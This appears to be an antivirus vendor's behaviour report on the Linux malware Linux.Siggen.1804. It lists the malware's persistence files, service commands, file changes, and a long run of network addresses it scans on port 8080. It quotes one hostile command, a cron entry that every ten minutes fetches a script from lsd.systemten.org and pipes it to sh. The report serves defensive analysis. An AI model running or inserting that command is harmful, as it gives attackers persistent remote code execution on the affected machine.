Linux.Siggen.1804

Technical Information

To ensure autorun and distribution:

Creates or modifies the following files:

/var/spool/cron/crontabs/root
/etc/cron.d/root
/etc/init.d/sshservice
/etc/init.d/.depend.boot
/etc/init.d/.depend.start
/etc/init.d/.depend.stop

Creates or modifies the following symlinks:

/etc/rc0.d/K01sshservice
/etc/rc1.d/K01sshservice
/etc/rc2.d/S01sshservice
/etc/rc3.d/S01sshservice
/etc/rc4.d/S01sshservice
/etc/rc5.d/S01sshservice
/etc/rc6.d/K01sshservice

Malicious functions:

Launches itself as a daemon

Manages services:

systemctl enable sshservice
/usr/sbin/update-rc.d sshservice defaults
systemctl daemon-reload

Launches processes:

/bin/sh -c echo \"*/10 * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh\" | crontab -
crontab -
<SAMPLE_FULL_PATH> /usr/sbin/sshd
/bin/sh -c chattr -i /usr/lib/systemd/system/sshservice.service
chattr -i /usr/lib/systemd/system/sshservice.service
/bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;chkconfig --add sshservice
/bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;systemctl enable sshservice
/sbin/insserv sshservice

Performs operations with the file system:

Modifies file access rights:

/etc/hosts
/var/spool/cron/crontabs/tmp.hss77Y
/etc/cron.d/root
/var/spool/cron/root
/var/spool/cron/crontabs/root
/var/spool/cron/crontabs/tmp.hduTyF
/var/spool/cron/crontabs/tmp.uw9qzS

Creates or modifies files:

/etc/hosts
/var/spool/cron/crontabs/tmp.hss77Y
/var/spool/cron/root
/tmp/.XImunix
/var/spool/cron/crontabs/tmp.hduTyF
/var/spool/cron/crontabs/tmp.uw9qzS
/usr/local/sbin/sshd
/usr/lib/systemd/system/sshservice.service

Locks files:

/tmp/.XImunix

Network activity:

Establishes connection:

<LOCAL_DNS_SERVER>
[2########::f03c:91ff:fe70:2b9d]:9
17#.#8.123.25:9
19#.##8.0.0:8080
19#.##8.0.1:8080
19#.##8.0.2:8080
19#.##8.0.3:8080
19#.##8.0.4:8080
19#.##8.0.5:8080
19#.##8.0.6:8080
19#.##8.0.7:8080
19#.##8.0.8:8080
19#.##8.0.9:8080
19#.##8.0.10:8080
19#.##8.0.11:8080
19#.##8.0.12:8080
19#.##8.0.13:8080
19#.##8.0.14:8080
19#.##8.0.15:8080
19#.##8.0.16:8080
19#.##8.0.17:8080
19#.##8.0.18:8080
19#.##8.0.19:8080
19#.##8.0.20:8080
19#.##8.0.21:8080
19#.##8.0.22:8080
19#.##8.0.23:8080
19#.##8.0.24:8080
19#.##8.0.25:8080
19#.##8.0.26:8080
19#.##8.0.27:8080
19#.##8.0.28:8080
19#.##8.0.29:8080
19#.##8.0.30:8080
19#.##8.0.31:8080
19#.##8.0.32:8080
19#.##8.0.33:8080
19#.##8.0.34:8080
19#.##8.0.35:8080
19#.##8.0.36:8080
19#.##8.0.37:8080
19#.##8.0.38:8080
19#.##8.0.39:8080
19#.##8.0.40:8080
19#.##8.0.41:8080
19#.##8.0.42:8080
19#.##8.0.43:8080
19#.##8.0.44:8080
19#.##8.0.45:8080
19#.##8.0.46:8080
19#.##8.0.47:8080
19#.##8.0.48:8080
19#.##8.0.49:8080
19#.##8.0.50:8080
19#.##8.0.51:8080
19#.##8.0.52:8080
19#.##8.0.53:8080
19#.##8.0.54:8080
19#.##8.0.55:8080
19#.##8.0.56:8080
19#.##8.0.57:8080
19#.##8.0.58:8080
19#.##8.0.59:8080
19#.##8.0.60:8080
19#.##8.0.61:8080
19#.##8.0.62:8080
19#.##8.0.63:8080
19#.##8.0.64:8080
19#.##8.0.65:8080
19#.##8.0.66:8080
19#.##8.0.67:8080
19#.##8.0.68:8080
19#.##8.0.69:8080
19#.##8.0.70:8080
19#.##8.0.71:8080
19#.##8.0.72:8080
19#.##8.0.73:8080
19#.##8.0.74:8080
19#.##8.0.75:8080
19#.##8.0.76:8080
19#.##8.0.77:8080
19#.##8.0.78:8080
19#.##8.0.79:8080
19#.##8.0.80:8080
19#.##8.0.81:8080
19#.##8.0.82:8080
19#.##8.0.84:8080
19#.##8.0.85:8080
19#.##8.0.86:8080
19#.##8.0.87:8080
19#.##8.0.88:8080
19#.##8.0.89:8080
19#.##8.0.90:8080
19#.##8.0.91:8080
19#.##8.0.92:8080
19#.##8.0.93:8080
19#.##8.0.94:8080
19#.##8.0.95:8080
19#.##8.0.96:8080
19#.##8.0.97:8080
19#.##8.0.98:8080
19#.##8.0.99:8080
19#.##8.0.83:8080
19#.##8.0.100:8080
19#.##8.0.101:8080
19#.##8.0.102:8080
19#.##8.0.103:8080
19#.##8.0.104:8080
19#.##8.0.105:8080
19#.##8.0.107:8080
19#.##8.0.108:8080
19#.##8.0.109:8080
19#.##8.0.110:8080
19#.##8.0.111:8080
19#.##8.0.113:8080
19#.##8.0.106:8080
19#.##8.0.112:8080
19#.##8.0.114:8080
19#.##8.0.115:8080
19#.##8.0.116:8080
19#.##8.0.117:8080
19#.##8.0.128:8080
19#.##8.0.129:8080
19#.##8.0.130:8080
19#.##8.0.131:8080
19#.##8.0.132:8080
19#.##8.0.133:8080
19#.##8.0.134:8080
19#.##8.0.135:8080
19#.##8.0.136:8080
19#.##8.0.137:8080
19#.##8.0.138:8080
19#.##8.0.118:8080
19#.##8.0.119:8080
19#.##8.0.120:8080
19#.##8.0.121:8080
19#.##8.0.122:8080
19#.##8.0.123:8080
19#.##8.0.124:8080
19#.##8.0.125:8080
19#.##8.0.126:8080
19#.##8.0.127:8080
19#.##8.0.139:8080
19#.##8.0.140:8080
19#.##8.0.141:8080
19#.##8.0.143:8080
19#.##8.0.144:8080
19#.##8.0.145:8080
19#.##8.0.146:8080
19#.##8.0.147:8080
19#.##8.0.148:8080
19#.##8.0.149:8080
19#.##8.0.150:8080
19#.##8.0.151:8080
19#.##8.0.152:8080
19#.##8.0.153:8080
19#.##8.0.154:8080
19#.##8.0.155:8080
19#.##8.0.156:8080
19#.##8.0.157:8080
19#.##8.0.158:8080
19#.##8.0.159:8080
19#.##8.0.160:8080
19#.##8.0.161:8080
19#.##8.0.142:8080
19#.##8.0.183:8080
19#.##8.0.162:8080
19#.##8.0.163:8080
19#.##8.0.164:8080
19#.##8.0.165:8080
19#.##8.0.166:8080
19#.##8.0.168:8080
19#.##8.0.169:8080
19#.##8.0.170:8080
19#.##8.0.171:8080
19#.##8.0.172:8080
19#.##8.0.173:8080
19#.##8.0.174:8080
19#.##8.0.175:8080
19#.##8.0.176:8080
19#.##8.0.177:8080
19#.##8.0.178:8080
19#.##8.0.179:8080
19#.##8.0.180:8080
19#.##8.0.181:8080
19#.##8.0.182:8080
19#.##8.0.184:8080
19#.##8.0.167:8080
19#.##8.0.185:8080
19#.##8.0.199:8080
19#.##8.0.188:8080
19#.##8.0.189:8080
19#.##8.0.190:8080
19#.##8.0.191:8080
19#.##8.0.192:8080
19#.##8.0.193:8080
19#.##8.0.194:8080
19#.##8.0.195:8080
19#.##8.0.196:8080
19#.##8.0.197:8080
19#.##8.0.198:8080
19#.##8.0.186:8080
19#.##8.0.187:8080
19#.##8.0.200:8080
19#.##8.0.201:8080
19#.##8.0.203:8080
19#.##8.0.202:8080
19#.##8.0.204:8080
19#.##8.0.205:8080
19#.##8.0.206:8080
19#.##8.0.207:8080
19#.##8.0.208:8080
19#.##8.0.209:8080
19#.##8.0.210:8080
19#.##8.0.211:8080
19#.##8.0.212:8080
19#.##8.0.213:8080
19#.##8.0.214:8080
19#.##8.0.215:8080
19#.##8.0.216:8080
19#.##8.0.217:8080
19#.##8.0.218:8080
19#.##8.0.219:8080
19#.##8.0.220:8080
19#.##8.0.222:8080
19#.##8.0.221:8080
19#.##8.0.223:8080
19#.##8.0.224:8080
19#.##8.0.225:8080
19#.##8.0.226:8080
19#.##8.0.227:8080
19#.##8.0.228:8080
19#.##8.0.229:8080
19#.##8.0.230:8080
19#.##8.0.231:8080
19#.##8.0.232:8080
19#.##8.0.233:8080
19#.##8.0.234:8080
19#.##8.0.235:8080
19#.##8.0.236:8080
19#.##8.0.237:8080
19#.##8.0.238:8080
19#.##8.0.239:8080
19#.##8.0.240:8080
19#.##8.0.241:8080
19#.##8.0.242:8080
19#.##8.0.243:8080
19#.##8.0.244:8080
19#.##8.0.245:8080
19#.##8.0.246:8080
19#.##8.0.247:8080
19#.##8.0.248:8080
19#.##8.0.249:8080
19#.##8.0.250:8080
19#.##8.0.251:8080
19#.##8.0.252:8080
19#.##8.0.253:8080
19#.##8.0.254:8080
19#.##8.0.255:8080
19#.##8.1.0:8080
19#.##8.1.1:8080
19#.##8.1.2:8080
19#.##8.1.3:8080
19#.##8.1.4:8080
19#.##8.1.5:8080
19#.##8.1.6:8080
19#.##8.1.7:8080
19#.##8.1.8:8080
19#.##8.1.10:8080
19#.##8.1.11:8080
19#.##8.1.9:8080
19#.##8.1.12:8080
19#.##8.1.13:8080
19#.##8.1.14:8080
19#.##8.1.15:8080
19#.##8.1.16:8080
19#.##8.1.17:8080
19#.##8.1.18:8080
19#.##8.1.20:8080
19#.##8.1.21:8080
19#.##8.1.23:8080
19#.##8.1.19:8080
19#.##8.1.22:8080
19#.##8.1.24:8080
19#.##8.1.27:8080
19#.##8.1.28:8080
19#.##8.1.29:8080
19#.##8.1.30:8080
19#.##8.1.25:8080
19#.##8.1.26:8080
19#.##8.1.31:8080
19#.##8.1.33:8080
19#.##8.1.34:8080
19#.##8.1.35:8080
19#.##8.1.36:8080
19#.##8.1.37:8080
19#.##8.1.38:8080
19#.##8.1.40:8080
19#.##8.1.32:8080
19#.##8.1.41:8080
19#.##8.1.39:8080
19#.##8.1.42:8080
19#.##8.1.43:8080
19#.##8.1.44:8080
19#.##8.1.45:8080
19#.##8.1.46:8080
19#.##8.1.47:8080
19#.##8.1.49:8080
19#.##8.1.50:8080
19#.##8.1.51:8080
19#.##8.1.48:8080
19#.##8.1.52:8080
19#.##8.1.53:8080
19#.##8.1.54:8080
19#.##8.1.55:8080
19#.##8.1.56:8080
19#.##8.1.57:8080
19#.##8.1.59:8080
19#.##8.1.61:8080
19#.##8.1.63:8080
19#.##8.1.64:8080
19#.##8.1.65:8080
19#.##8.1.66:8080
19#.##8.1.67:8080
19#.##8.1.68:8080
19#.##8.1.69:8080
19#.##8.1.71:8080
19#.##8.1.72:8080
19#.##8.1.74:8080
19#.##8.1.75:8080
19#.##8.1.58:8080
19#.##8.1.60:8080
19#.##8.1.62:8080
19#.##8.1.70:8080
19#.##8.1.76:8080
19#.##8.1.73:8080
19#.##8.1.115:8080
19#.##8.1.116:8080
19#.##8.1.117:8080
19#.##8.1.118:8080
19#.##8.1.120:8080
19#.##8.1.121:8080
19#.##8.1.78:8080
19#.##8.1.79:8080
19#.##8.1.80:8080
19#.##8.1.81:8080
19#.##8.1.82:8080
19#.##8.1.83:8080
19#.##8.1.84:8080
19#.##8.1.85:8080
19#.##8.1.87:8080
19#.##8.1.88:8080
19#.##8.1.90:8080
19#.##8.1.91:8080
19#.##8.1.93:8080
19#.##8.1.94:8080
19#.##8.1.95:8080
19#.##8.1.96:8080
19#.##8.1.97:8080
19#.##8.1.98:8080
19#.##8.1.99:8080
19#.##8.1.100:8080
19#.##8.1.102:8080
19#.##8.1.103:8080
19#.##8.1.104:8080
19#.##8.1.105:8080
19#.##8.1.107:8080
19#.##8.1.108:8080
19#.##8.1.109:8080
19#.##8.1.111:8080
19#.##8.1.112:8080
19#.##8.1.113:8080
19#.##8.1.114:8080
19#.##8.1.92:8080
19#.##8.1.77:8080
19#.##8.1.122:8080
19#.##8.1.119:8080
19#.##8.1.123:8080
19#.##8.1.86:8080
19#.##8.1.89:8080
19#.##8.1.106:8080
19#.##8.1.110:8080
19#.##8.1.125:8080
19#.##8.1.126:8080
19#.##8.1.127:8080
19#.##8.1.128:8080
19#.##8.1.129:8080
19#.##8.1.130:8080
19#.##8.1.131:8080
19#.##8.1.133:8080
19#.##8.1.135:8080
19#.##8.1.143:8080
19#.##8.1.137:8080
19#.##8.1.138:8080
19#.##8.1.139:8080
19#.##8.1.140:8080
19#.##8.1.136:8080
19#.##8.1.141:8080
19#.##8.1.101:8080
19#.##8.1.124:8080
19#.##8.1.132:8080
19#.##8.1.134:8080
19#.##8.1.142:8080
19#.##8.1.144:8080
19#.##8.1.145:8080
19#.##8.1.146:8080
19#.##8.1.147:8080
19#.##8.1.148:8080
19#.##8.1.149:8080
19#.##8.1.150:8080
19#.##8.1.151:8080
19#.##8.1.152:8080
19#.##8.1.153:8080
19#.##8.1.154:8080
19#.##8.1.155:8080
19#.##8.1.156:8080
19#.##8.1.157:8080
19#.##8.1.158:8080
19#.##8.1.159:8080
19#.##8.1.160:8080
19#.##8.1.167:8080
19#.##8.1.168:8080
19#.##8.1.169:8080
19#.##8.1.171:8080
19#.##8.1.172:8080
19#.##8.1.173:8080
19#.##8.1.174:8080
19#.##8.1.175:8080

HTTP GET requests:

id##t.me/

DNS ASK:

id##t.me

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement